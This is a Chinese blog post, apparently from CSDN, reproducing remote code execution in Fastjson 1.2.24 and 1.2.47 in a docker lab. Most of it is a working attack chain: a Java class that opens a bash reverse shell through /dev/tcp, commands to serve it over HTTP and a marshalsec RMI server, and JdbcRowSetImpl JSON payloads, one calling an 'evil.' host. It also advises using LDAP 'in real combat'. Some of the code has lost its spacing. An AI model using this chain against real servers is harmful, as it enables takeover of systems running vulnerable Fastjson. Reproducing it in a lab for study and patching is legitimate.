Fastjson命令执行漏洞复现(1.2.47和1.2.24)

一、漏洞描述

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链

二、影响版本

fastjson <=1.2.48(autoType为关闭状态也可使用)

三、漏洞利用

1、docker 拉取镜像,靶机一键起环境

docker-compose up -d

2、本机编辑恶意java文件,用于反弹shell,监听端口为1234,并编译javac Exploit.java(因为是本地的环境,所以监听就直接开启在靶机)

import java.lang.Runtime;

import java.lang.Process;

publicclassExploit{

publicExploit(){

try{

Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/靶机IP/PORT 0>&1");

}catch(Exceptione){

e.printStackTrace();

}

}

publicstaticvoidmain(String[] argv){

Exploite = newExploit();

}

}

3、本机起一个python服务,端口未1222

python3 -m http.server 1222

 

4、搭建RMI服务。下载地址:https://github.com/mbechler/marshalsec项目

使用mvn打包,(过程需要几分钟,可以出去转转,再回来)

打包完成后,进入到target路径下,找到marshalsec-0.0.3-SNAPSHOT-all.jar

然后启动一个RMI服务器,监听9999端口,并制定加载远程类`Exploit.class`:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://本机IP:1222/#Exploit" 9999

5、开启nc监听1234端口,

6、抓包,开始利用

{

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://靶机IP:9999/Exploit",

"autoCommit":true

}

}

1.2.47和1.2.24的复现过程区别

 向靶场服务器发送Payload不一样,其他的过程都是一样的,1.2.47的pyload:

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://evil.:9999/Exploit",

"autoCommit":true

}

}

7、查看调用是否成功,是否反弹成功

1234端口监听,反弹成功

四、改进措施

下载最新版本

ps:之前一直反弹不成功,各种方法全折腾了一遍,后来发现是jdk版本问题,我原先的jdk版本是

jdk8u3.x,然后重新安装jdk8u122,然后反弹成功啦!

使用jdk的版本限制:

基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。

在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。

基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。

可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。(参考链接:Fastjson命令执行漏洞复现2(fastjson <=1.2.47)_god_mellon的博客-CSDN博客_fastjson执行命令

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值